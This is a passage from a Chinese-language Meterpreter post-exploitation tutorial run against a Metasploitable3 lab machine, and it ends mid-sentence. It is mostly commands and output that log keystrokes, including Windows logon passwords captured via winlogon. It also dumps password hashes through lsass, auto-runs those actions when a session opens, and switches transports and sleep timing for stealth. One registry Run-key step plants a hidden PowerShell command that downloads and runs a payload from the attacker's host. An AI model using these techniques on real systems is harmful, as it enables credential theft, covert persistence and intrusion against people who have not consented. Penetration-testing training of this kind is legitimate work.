meterpreter > getdesktop
Session 0\S\D
meterpreter >
可以看到当前桌面不在WinSta0
窗口站中。因此,如果我们在这里运行按键键盘捕获,则不会返回任何结果。
2、更改桌面到WinSta0\Default
meterpreter > setdesktop
Changed to desktop WinSta0\Default
meterpreter > getdesktop
Session 0\WinSta0\Default
3、然后就可以使用keyscan_start
命令启动击键嗅探器来捕获用户在目标机器上按下的键
meterpreter > keyscan_start
Starting the keystroke sniffer ...
4、通过keyscan_dump
查看转储的按键记录,就可以识别出目标用户访问了什么网站和他/她的登录凭证信息。
meterpreter > keyscan_dump
Dumping captured keystrokes...
<CR>
keylogging s<^H>test<CR>
password<Right Shift>:123<CR>
keyscan_start
命令在注入Meterpreter
的进程内会生成一个新线程。该线程分配一个 1Mb 的大缓冲区来存储捕获的击键。每 30 毫秒,此线程调用Windows的GetAsyncKeyState
函数 ,它返回 256 个可能的虚拟键代码中每一个的上/下状态。
GetAsyncKeyState
函数的一个限制是它必须有权访问活动的输入桌面才能监视键状态。当目标进程作为服务运行时,如果该服务没有与桌面交互的权限。则无法捕获用户的键盘输入。此时我们需要使用migrate
命令将正在运行的会话迁移到一个对桌面具有交互访问权限的进程中。
5、如果需要嗅探Windows
登录用户和密码,可以使用setdesktop
切换活动桌面到Winlogon
然后尝试获取。
meterpreter > setdesktop -n Winlogon
Changed to desktop WinSta0\Winlogon
6、或者使用migrate
将进程迁移到winlogon.exe
进程,再进行键盘监听。
meterpreter > ps | grep winlogon
Filtering on 'winlogon'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
980 8060 winlogon.exe x64 2 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
meterpreter > migrate 980
[*] Migrating from 5720 to 980...
[*] Migration completed successfully.
meterpreter > getdesktop
Session 2\W\W
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
<LAlt><Delete>123456
通过上面的学习,你应该注意到迁移到不同的进程和桌面环境的重要性。如果直接运行keyscan
而没有注意当前活动的桌面,则通常不会得到任何结果。这是因为渗透的进程可能属于不同的会话或窗口站。因此,在进行按键嗅探时,请记住这个概念。
其他
屏幕截图可以使用screenshot
命令
meterpreter > screenshot
Screenshot saved to: /home/kali/hxYibCsh.jpeg
# 8、使用 scraper Merterpreter脚本
到目前为止,我们已经学习了几个Meterpreter
命令。本节我们将学习一个重要的Meterpreter
脚本,它可以帮助我们更深入地探索目标。渗透测试可能需要很多时间来挖掘目标信息。因此,对于渗透测试人员来说,拥有有用信息的本地备份非常方便,即使目标关闭也能够继续手头上的工作。它还使与其他测试人员共享信息变得容易。Scraper
可以为我们完成了这项任务。
scraper Meterpreter
脚本可以挖掘出大量有关受感染目标的信息,例如注册表信息、密码哈希和网络信息,并将其存储在测试人员的机器上。
为了在Meterpreter
中执行Ruby
脚本,我们可以使用run
命令。让我们继续了解如何将信息下载到本地。
脚本在执行后会自动完成所有操作。它会在 /username/.msf4/logs/scripts/scraper/
下创建一个目录,其中保存了所有文件:
meterpreter > run scraper
[*] New session on 192.168.91.133:445...
[*] Gathering basic system information...
[-] Error: Rex::TimeoutError Send timed out
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*] Exporting HKCU
$ ls -al ./.msf4/logs/scripts/scraper/192.168.91.133_20230320.215643943
total 1212
drwxr-xr-x 2 kali kali 4096 Mar 20 16:22 .
drwxr-xr-x 3 kali kali 4096 Mar 20 16:21 ..
-rw-r--r-- 1 kali kali 1188 Mar 20 16:21 env.txt
-rw-r--r-- 1 kali kali 119 Mar 20 16:22 group.txt
-rw-r--r-- 1 kali kali 1700 Mar 20 16:22 hashes.txt
-rw-r--r-- 1 kali kali 1169040 Mar 20 16:22 HKCU.reg
-rw-r--r-- 1 kali kali 117 Mar 20 16:22 localgroup.txt
-rw-r--r-- 1 kali kali 57 Mar 20 16:22 nethood.txt
-rw-r--r-- 1 kali kali 19888 Mar 20 16:21 network.txt
-rw-r--r-- 1 kali kali 1921 Mar 20 16:21 services.txt
-rw-r--r-- 1 kali kali 420 Mar 20 16:21 shares.txt
-rw-r--r-- 1 kali kali 57 Mar 20 16:22 systeminfo.txt
-rw-r--r-- 1 kali kali 80 Mar 20 16:21 system.txt
-rw-r--r-- 1 kali kali 93 Mar 20 16:21 users.txt
该脚本会自动下载信息并将其保存在目标文件夹中。我们可以修改源码,根据自己的需要做一些改动。
# 工作原理
scraper.rb
源代码位于 /usr/share/metasploit-framework/scripts/meterpreter
目录。
$ ls -al /usr/share/metasploit-framework/scripts/meterpreter/
total 328
drwxr-xr-x 2 root root 12288 Feb 3 12:21 .
drwxr-xr-x 5 root root 4096 Feb 3 12:21 ..
-rw-r--r-- 1 root root 5730 Jan 27 03:30 autoroute.rb
......
-rw-r--r-- 1 root root 10037 Jan 27 03:30 scheduleme.rb
-rw-r--r-- 1 root root 6005 Jan 27 03:30 schtasksabuse.rb
-rw-r--r-- 1 root root 4776 Jan 27 03:30 scraper.rb
......
如果你熟悉ruby
编程,你可以根据需求添加自己的功能。
比如说文件保存路径:
比如说你想获得进程列表信息,可以在程序中添加如下代码
::File.open(File.join(logs, "processlist.txt"), "w") do |fd|
fd.puts(m_exec(client, "tasklist"))
end
# 9、使用 winenum 枚举系统信息
Windows 本地枚举 (WinEnum
) 脚本可以帮助我们检索有关系统的各种信息,包括环境变量、网络接口、路由、用户帐户等等。
winenum
脚本将在目标机器上运行几个命令,例如 arp、net、netstat、netsh
和 wmic
以及其他命令,并将结果下载到本地:
meterpreter > run winenum
[*] Running Windows Local Enumeration Meterpreter Script
[*] New session on 192.168.91.133:445...
[*] Saving general report to /home/kali/.msf4/logs/scripts/winenum/METASPLOITABLE3_20230320.3831/METASPLOITABLE3_20230320.3831.txt
[*] Output of each individual command is saved to /home/kali/.msf4/logs/scripts/winenum/METASPLOITABLE3_20230320.3831
[*] Checking if METASPLOITABLE3 is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine
[*] UAC is Disabled
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command arp -a
[*] running command ipconfig /all
[*] running command ipconfig /displaydns
[*] running command route print
[*] running command net view
[*] running command netstat -nao
[*] running command netstat -vb
[*] running command netstat -ns
[*] running command net accounts
结果会输出到/username/.msf4/logs/scripts/winenum/
目录中
$ ls -al ~/.msf4/logs/scripts/winenum/METASPLOITABLE3_20230320.3831
total 240
drwxr-xr-x 2 kali kali 4096 Mar 20 16:39 .
drwxr-xr-x 3 kali kali 4096 Mar 20 16:38 ..
-rw-r--r-- 1 kali kali 612 Mar 20 16:38 arp__a.txt
-rw-r--r-- 1 kali kali 1188 Mar 20 16:38 cmd_exe__c_set.txt
-rw-r--r-- 1 kali kali 73 Mar 20 16:39 cscript__nologo_winrm_get_winrm_config.txt
-rw-r--r-- 1 kali kali 77 Mar 20 16:39 gpresult__SCOPE_COMPUTER__Z.txt
-rw-r--r-- 1 kali kali 77 Mar 20 16:39 gpresult__SCOPE_USER__Z.txt
-rw-r--r-- 1 kali kali 1703 Mar 20 16:39 hashdump.txt
-rw-r--r-- 1 kali kali 1766 Mar 20 16:38 ipconfig__all.txt
-rw-r--r-- 1 kali kali 3214 Mar 20 16:38 ipconfig__displaydns.txt
-rw-r--r-- 1 kali kali 210 Mar 20 16:38 METASPLOITABLE3_20230320.3831.txt
-rw-r--r-- 1 kali kali 126 Mar 20 16:38 net_accounts.txt
-rw-r--r-- 1 kali kali 119 Mar 20 16:38 net_group_administrators.txt
-rw-r--r-- 1 kali kali 182 Mar 20 16:38 net_group.txt
-rw-r--r-- 1 kali kali 93 Mar 20 16:38 net_localgroup_administrators.txt
-rw-r--r-- 1 kali kali 117 Mar 20 16:38 net_localgroup.txt
# 10、自动化脚本
在渗透测试期间,我们希望尽可能自动化,以便可以集中精力处理需要人类干预的操作。为了简化我们的任务,Metasploit
允许我们使用AUTORUNSCRIPT
指定在接收到新的Meterperter
会话后自动进行哪些操作。
1、首先,我们需要创建一个包含要执行的命令的文件。在这个例子中,我们将迁移到lsass.exe
进程并转储Windows
哈希:
$ cat autoruncmds.rc
migrate -N lsass.exe
hashdump
2、然后,在执行攻击模块的时候指定这个自动化脚本
msf6 exploit(windows/smb/psexec) > set AUTORUNSCRIPT multi_console_command -r /home/kali/autoruncmds.rc
AUTORUNSCRIPT => multi_console_command -r /home/kali/autoruncmds.rc
msf6 exploit(windows/smb/psexec) >
3、通过设置,我们可以在会话创建时自动运行脚本。在此示例中,我们将使用multi_console_command
脚本,它允许我们指定要运行的多个命令。使-c
·后跟要执行的命令,用双引号括起来并用逗号分隔,或者使用-r
指定包含命令列表的文本文件路径。然后执行攻击,获取到会话后,会自动完成我们指定的命令。
msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.91.128:7777
[*] 192.168.91.133:445 - Connecting to the server...
[*] 192.168.91.133:445 - Authenticating to 192.168.91.133:445 as user 'Administrator'...
[*] 192.168.91.133:445 - Selecting PowerShell target
[*] 192.168.91.133:445 - Executing the payload...
[+] 192.168.91.133:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.91.133
[*] Session ID 2 (192.168.91.128:7777 -> 192.168.91.133:58163) processing AutoRunScript 'multi_console_command -r /home/kali/autoruncmds.rc'
[*] Running Command List ...
[*] Running command migrate -N lsass.exe
[*] Migrating from 3548 to 480...
[*] Migration completed successfully.
[*] Running command hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1010:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1006:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
ben_kenobi:1008:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859:::
boba_fett:1013:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
chewbacca:1016:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::
# 11、Meterpreter资源脚本
和msfconsole
一样,Meterpreter
也支持资源脚本,这使我们能够自动化使用Meterpreter
命令。
1、首先需要创建放置脚本的目录,以便在meterpreter
会话中使用资源脚本。
$ mkdir -p ~/.msf4/scripts/resource/meterpreter
2、然后编写资源脚本,例:编写一个获取系统信息的脚本
$ cat ~/.msf4/scripts/resource/meterpreter/getsystminfo.rc
sysinfo
getuid
getsid
getpid
getpwd
3、使用resource
命令,在meterpreter
会话中使用资源脚本
meterpreter > resource getsystminfo.rc
[*] Processing /home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc for ERB directives.
resource (/home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc)> sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
resource (/home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc)> getuid
Server username: NT AUTHORITY\SYSTEM
resource (/home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc)> getsid
Server SID: S-1-5-18
resource (/home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc)> getpid
Current pid: 480
4、例2,进程迁移,获取哈希信息
$ cat ~/.msf4/scripts/resource/meterpreter/automate.rc
migrate -N lsass.exe
hashdump
meterpreter > resource automate.rc
[*] Processing /home/kali/.msf4/scripts/resource/meterpreter/automate.rc for ERB directives.
resource (/home/kali/.msf4/scripts/resource/meterpreter/automate.rc)> migrate -N lsass.exe
[-] Process already running at PID 480
resource (/home/kali/.msf4/scripts/resource/meterpreter/automate.rc)> hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1010:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1006:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
5、除了常规命令外,Meterpreter
还支持处理<ruby>
指令,这意味着我们可以在资源脚本中使用Ruby
的全部功能:
cat ~/.msf4/scripts/resource/meterpreter/ruby.rc
<ruby>
$stderr.puts("Ruby is awesome!")
$stderr.puts("session.platform: #{session.platform}, framework: #{framework}")
</ruby>
meterpreter > resource ruby.rc
[*] Processing /home/kali/.msf4/scripts/resource/meterpreter/ruby.rc for ERB directives.
[*] resource (/home/kali/.msf4/scripts/resource/meterpreter/ruby.rc)> Ruby Code (112 bytes)
Ruby is awesome!
# 12、Meterpreter超时控制
Meterpreter
超时控制允许我们控制Meterpreter
会话中的超时行为。控制超时可以改变噪声级别和其他通信特性,例如Meterpreter
会话的持续时间。
1、使用get_timeouts
显示当前的超时配置
meterpreter > get_timeouts
Session Expiry : @ 2023-03-27 17:14:17
Comm Timeout : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds
Session Expiry
指定了分配给会话的超时时间,在此之后,会话将被终止。
如果网络相关问题阻止两个端点之间传输数据但不导致套接字完全断开连接,则Comm Timeout
指定 Meterpreter
在断开或尝试重新连接之前等待通信的时间,默认为 5 分钟。
Retry Total Time
是 Meterpreter
将尝试重试通信的总时间,默认为3600秒(1小时)
Retry Wait Time
指尝试建立通信之前的等待时间。
2、使用set_timeouts
命令,可以更改这些超时配置。如果要更改Comm Timeout
,使用-c
参数。
meterpreter > set_timeouts -c 600
Session Expiry : @ 2023-03-27 17:14:17
Comm Timeout : 600 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds
# 13、Meterpreter休眠控制
在渗透测试期间,有时候你需要让Meterpreter
会话暂时保持静默状态;例如,如果你认为安全团队已经发现了你并试图阻止你的攻击。Meterpreter
提供了一个简单但非常有用的命令叫做sleep
。
1、首先,我们需要设置一个新的监听,用于连接新的Meterpreter
会话。然后使用sleep
命令设置休眠时间,它使当前 Meterpreter
会话在指定的时间段内进入休眠状态,并在该时间到期后再次唤醒。
msf6 exploit(windows/smb/psexec) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.91.128
LHOST => 192.168.91.128
msf6 exploit(multi/handler) > set LPORT 7777
LPORT => 7777
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.91.128:7777
2、设置休眠时间,这里设置为10秒
meterpreter > sleep 10
[*] Telling the target instance to sleep for 10 seconds ...
[+] Target instance has gone to sleep, terminating current session.
[*] 192.168.91.133 - Meterpreter session 2 closed. Reason: User exit
3、等休眠时间结束后,监听器将会收到一个新的会话
msf6 exploit(multi/handler) >
[*] Sending stage (200774 bytes) to 192.168.91.133
[*] Meterpreter session 3 opened (192.168.91.128:7777 -> 192.168.91.133:55473) at 2023-03-21 13:57:02 +0800
# 14、Meterpreter传输机制
transport
命令允许你添加新的传输机制到当前会话中,其中 reverse_tcp
和 reverse_https
是最常用的。Meterpreter
还提供了其他一些传输机制供你选择。
1、查看命令帮助,使用-h
参数
meterpreter > transport -h
Usage: transport <list|change|add|next|prev|remove> [options]
list: list the currently active transports.
add: add a new transport to the transport list.
change: same as add, but changes directly to the added entry.
next: jump to the next transport in the list (no options).
prev: jump to the previous transport in the list (no options).
remove: remove an existing, non-active transport.
OPTIONS:
-A User agent for HTTP/S transports (optional)
-B Proxy type for HTTP/S transports (optional: http, socks; default: http)
-c SSL certificate path for https transport verification (optional)
-C Comms timeout (seconds) (default: same as current session)
-H Proxy host for HTTP/S transports (optional)
-h Help menu
-i Specify transport by index (currently supported: remove)
-l LHOST parameter (for reverse transports)
-N Proxy password for HTTP/S transports (optional)
-p LPORT parameter
-P Proxy port for HTTP/S transports (optional)
-t Transport type: reverse_tcp, reverse_http, reverse_https, bind_tcp
-T Retry total time (seconds) (default: same as current session)
-u Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)
-U Proxy username for HTTP/S transports (optional)
-v Show the verbose format of the transport list
-W Retry wait time (seconds) (default: same as current session)
-X Expiration timout (seconds) (default: same as current session)
2、列出当前活动的传输,使用list
参数
meterpreter > transport list
Session Expiry : @ 2023-03-27 17:14:18
ID Curr URL Comms T/O Retry Total Retry Wait
-- ---- --- --------- ----------- ----------
1 * tcp://192.168.91.128:7777 600 3600 10
3、要添加新的传输机制,使用add
参数,及其其他设置参数
meterpreter > transport add -t reverse_http -l 192.168.91.128 -p 8888 -T 500 -W 300 -C 600
[*] Adding new transport ...
[+] Successfully added reverse_http transport.
-t
参数:指定添加的传输机制-l
参数:指定LHOST
-p
参数:指定LPORT
-T
参数:指定Retry Total Time
-W
参数:指定Retry wait time
-C
参数:指定Comms timeout
4、再次查看当前可用的传输
meterpreter > transport list
Session Expiry : @ 2023-03-27 17:14:17
ID Curr URL Comms T/O Retry Total Retry Wait
-- ---- --- --------- ----------- ----------
1 http://192.168.91.128:8888/35kshZumdMxW6FfqMvER4gZRx8NAUp/ 600 500 300
2 * tcp://192.168.91.128:7777 600 3600 10
meterpreter >
5、切换传输机制,首先设置监听,保持与transport
的设置一致,然后使用transport next
切换
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http
payload => windows/x64/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 192.168.91.128
LHOST => 192.168.91.128
msf6 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/handler) > run -j
meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.
[*] 192.168.91.133 - Meterpreter session 3 closed. Reason: User exit
[*] http://192.168.91.128:8888 handling request from 192.168.91.133; (UUID: w7jd16yy) Attaching orphaned/stageless session...
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ METASPLOITABLE3 192.168.91.128:8888 -> 192.168.91.133:56938 (192.168.91.133)
msf6 exploit(multi/handler) > [*] Meterpreter session 4 opened (192.168.91.128:8888 -> 192.168.91.133:56938) at 2023-03-21 14:36:32 +0800
如果要换回上一个传输机制,使用transport prev
。
# 15、注册表操作
注册表是一个系统定义的数据库,用于存储配置系统所需的信息,包括一个或多个用户、应用程序和硬件设备等信息。
在与目标系统进行交互的时候需要考虑,注册表中存储的数据和解构因Windows
系统版本不同而有所差异。
通过查看注册表,可以找到已使用的文件记录、IE访问记录、程序使用、USB 设备使用记录等等。
1、通过reg
命令可以对目标操作系统的注册进行操作,使用reg -h
查看命令帮助
meterpreter > reg -h
Usage: reg [command] [options]
Interact with the target machine's registry.
OPTIONS:
-d The data to store in the registry value. //要存储在注册表值中的数据
-h Help menu.
-k The registry key path (E.g. HKLM\Software\Foo). //注册表路径
-r The remote machine name to connect to (with current process credentials //要连接的计算机名称
-t The registry value type (E.g. REG_SZ). //注册表值类型
-v The registry value name (E.g. Stuff). //注册表值名称
-w Set KEY_WOW64 flag, valid values [32|64]. //设置KEY_WOW64标志和有效值(32/64)
COMMANDS:
enumkey Enumerate the supplied registry key [-k <key>] //枚举注册表项
createkey Create the supplied registry key [-k <key>] //创建注册表项
deletekey Delete the supplied registry key [-k <key>] //删除注册表项
queryclass Queries the class of the supplied key [-k <key>] //查询提供的键的类
setval Set a registry value [-k <key> -v <val> -d <data>]. Use a binary blob to set binary data with REG_BINARY type (e.g. setval -d ef4ba278) //设置一个注册表值
deleteval Delete the supplied registry value [-k <key> -v <val>] // 删除提供的注册表值
queryval Queries the data contents of a value [-k <key> -v <val>] //查询一个值的数据内容
如你所见,reg
命令能够完全控制注册表。
在本节中,我们将使用reg
命令和Script Web Delivery
模块来创建一个注册表后门。
首先,设置一个Web服务用于传输PowerShell payload
msf6 exploit(multi/script/web_delivery) > set SRVHOST 192.168.91.128
SRVHOST => 192.168.91.128
msf6 exploit(multi/script/web_delivery) > set URIPATH /
URIPATH => /
msf6 exploit(multi/script/web_delivery) > show targets
Exploit targets:
Id Name
-- ----
0 Python
1 PHP
2 PSH
3 Regsvr32
4 pubprn
5 SyncAppvPublishingServer
6 PSH (Binary)
7 Linux
8 Mac OS X
msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.91.128
LHOST => 192.168.91.128
msf6 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
2、然后使用reg
命令创建一个新的注册表项,该注册表项将设置用户登录计算机时运行 PowerShell
并加载payload
。
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v Power -d "powershell.exe -nop -w hidden -c $R=new-object net.webclient;$R.proxy=[Net.WebRequest]::GetSystemWebProxy();$R.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $R.downloadstring('http://192.168.91.128:8080/');"
Successfully set Power of REG_SZ.
meterpreter >
3、重启靶机,获得会话连接
4、使用reg enumkey -k
可以枚举注册表键
meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Run
Enumerating: HKLM\Software\Microsoft\Windows\Currentversion\Run
Values (3):
VBoxTray
VMware User Process
Power
tips:如果要枚举对应用户的注册表内容,需要migrate迁移进程获取对应用户的令牌
5、查询注册表键值内容,使用reg queryval -k
meterpreter > reg queryval -k HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Run -v Power
Key: HKLM\Software\Microsoft\Windows\Currentversion\Run
Name: Power
Type: REG_SZ
Data: powershell.exe -nop -w hidden -c $R=new-object net.webclient;$R.proxy=[Net.WebRequest]::GetSystemWebProxy();$R.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $R.downloadstring('http://192.168.91.128:8080/');
太棒了!如你所期望的那样,Metasploit
框架为我们提供了模拟对手并测试最常见持久化方法所需的所有工具。
# 16、加载框架插件
Meterpreter
允许我们使用多个Meterpreter
扩展,这些扩展为我们提供了增强功能,例如执行PowerShell
和Python
命令、创建交互式PowerShell
提示符、执行局域网攻击、嗅探流量等等。
1、在本节中,我们将从使用load
命令加载PowerShell
扩展开始学起。
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > help powershell
Powershell Commands
===================
Command Description
------- -----------
powershell_execute Execute a Powershell command string
powershell_import Import a PS1 script or .NET Assembly DLL
powershell_session_remove Remove/clear a session (other than default)
powershell_shell Create an interactive Powershell prompt
2、第一个命令是 powershell_execute
,它允许我们执行powershell命令
meterpreter > powershell_execute $PSVersionTable
[+] Command execution completed:
Name Value
---- -----
CLRVersion 2.0.50727.5420
BuildVersion 6.1.7601.17514
PSVersion 2.0
WSManStackVersion 2.0
PSCompatibleVersions {1.0, 2.0}
SerializationVersion 1.1.0.1
PSRemotingProtocolVersion 2.1
如你所见,使用powershell_execute
命令,可以像在PowerShell
提示符下一样执行PowerShell
命令。
3、使用双引号,可以执行多条 PowerShell
命令,比如获取域中用户列表
meterpreter > powershell_execute "Get-WmiObject Win32_UserDesktop | Select-Object Element"
[+] Command execution completed:
Element
-------
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="Administrator"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="anakin_skywalker"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="lando_calrissian"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="leah_organa"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="luke_skywalker"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="sshd"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="sshd_server"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="vagrant"
4、通过加载sniffer
扩展,我们可以在目标主机上启动网络嗅探器
meterpreter > load sniffer
Loading extension sniffer...Success.
meterpreter > help sniffer
Sniffer Commands
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data to PCAP file
sniffer_interfaces Enumerate all sniffable network interfaces
sniffer_release Free captured packets on a specific interface instead of downloading them
sniffer_start Start packet capture on a specific interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet capture on a specific interface
5、启动网络嗅探前,使用sniffer_interfaces
列出可以使用的网络接口
meterpreter > sniffer_interfaces
1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
3 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )
4 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
6、进行嗅探
meterpreter > sniffer_start 6
[*] Capture started on interface 6 (50000 packet buffer)
7、查看嗅探状态
meterpreter > sniffer_stats 6
[*] Capture statistics for interface 6
packets: 178
bytes: 13326
8、导出嗅探的数据包和停止嗅探
meterpreter > sniffer_dump 6 /tmp/all.cap //导出嗅探的数据到文件
[*] Flushing packet capture buffer for interface 6...
[*] Flushed 226 packets (21516 bytes)
[*] Downloaded 100% (21516/21516)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/all.cap
meterpreter > sniffer_stop 6 //停止嗅探
[*] Capture stopped on interface 6
[*] There are 21 packets (1585 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
Meterpreter
数据包嗅探器使用MicroOLAP Packet Sniffer SDK
,可以从受害者机器上嗅探数据包,而无需安装任何驱动程序或写入文件系统。该模块非常智能,能够识别自身的流量,并自动删除Meterpreter
交互中的任何流量。
# 17、API和Mixins
通过之前的学习,你可能已经意识到了Meterpreter
在使我们的渗透任务更加轻松和快速方面所扮演的重要角色。从本节开始,我们将继续讨论与Meterpreter
相关的一些高级概念。我们将深入探讨Metasploit
核心,以理解Meterpreter
脚本如何运行以及如何构建自己的脚本。
从渗透测试员的角度来看,了解如何实现自己的脚本技术以满足场景需求是至关重要的。有时候你需要执行的任务,Meterpreter
已有功能可能不足以解决你的问题,所以我们需要开发自己的脚本和模块。在本节中,我们将讨论Meterpreter API
和一些重要的mixins
,并在后续教程中学会编写自己的Meterpreter
脚本。
Meterpreter API
可以帮助渗透人员在渗透测试中实现自己的脚本。由于整个Metasploit
框架是用Ruby
语言构建的,所以Ruby
编程的经验可以增强你对Metasploit
的使用。我们将在接下来的几个小节内容中与Ruby
脚本打交道,所以需要一些Ruby
编程经验。如果你对Ruby
和其他脚本语言有基本了解,那么你将很容易理解这些概念。
1、首先在Meterpreter
会话中使用irb
命令启动一个交互式的Ruby shell
meterpreter > irb
[*] Starting IRB shell...
[*] You are in the "client" (session) object
irb: warn: can't alias kill from irb_kill.
irb: warn: can't alias info from irb_debug_info.
>>
2、我们从最基础的Ruby
语法开始,比如数值计算
>> 1+1
=> 2
>>
3、使用framework
对象显示会话有关的信息
>> framework
=> #<Framework (1 sessions, 0 jobs, 0 plugins, postgresql database active)>
4、client
显示目标机器的信息
>> client
=> nil
tips 这里有个问题,返回的信息是nil(空值),这个问题可以在https://github.com/rapid7/metasploit-framework/issues/10827中找到,因为
client
没有被定义,需要用self>> self => #<Session:meterpreter 192.168.91.133:49163 (192.168.91.133) "METASPLOITABLE3\Administrator @ METASPLOITABLE3">
# 工作原理
让我们了解一些打印相关的API
调用,这对我们编写meterpreter
脚本非常有用
>> print_line("message")
message
=> "message\n"
>>
//此调用将打印输出并在末尾添加一个回车符。
>> print_status("message")
[*] message
=> "\e[1m\e[34m[*]\e[0m message\n"
>>
//此调用在脚本中使用的非常多,它将打印正在执行的状态和回车符,并在开头加上前缀[*]
>> print_good("HackAlert")
[+] HackAlert
=> "\e[1m\e[32m[+]\e[0m HackAlert\n"
>>
//此调用用于提供任何操作的结果。以前缀[+]开头,表示操作成功
print_error("message")
[-] message
=> "\e[1m\e[31m[-]\e[0m message\n"
//此调用用于显示脚本执行期间可能出现的错误信息,以[-]为前缀
之所以要讨论这些不同的打印调用的原因是它们在编写Meterpreter
脚本时被广泛使用。你可以在/usr/share/metasploit-framework/documentation
中找到与Meterpreter API
相关的文档。阅读它们以获得清晰和详细的理解。你还可以参考/usr/share/metasploit-framework/lib/rex/post/meterpreter
,其中包含许多与Meterpreter API
相关的脚本。这些脚本中包含各种 Meterpreter
核心、桌面交互、特权操作以及更多命令。查看这些脚本以更好的理解 Meterpreter
是如何在受感染的系统中运行的。
# 18、Railgun-将Ruby转换为武器
在之前的教程中,我们了解了使用Meterpreter API
运行Ruby
脚本的方法。让我们更进一步。假设我们想在受害者机器上进行远程API
调用,最简单的方法是什么?Railgun
就是显而易见的答案。它是一个Meterpreter
扩展,允许攻击者直接调用DLL
函数。通常情况下,它被用于对Windows API
进行调用,但我们也可以调用受害者机器上的任何DLL
文件。
要使用Railgun
,首先需要获得一个meterpreter
会话,然后使用irb
启动ruby shell
meterpreter > irb
[*] Starting IRB shell...
>>
在调用DLL
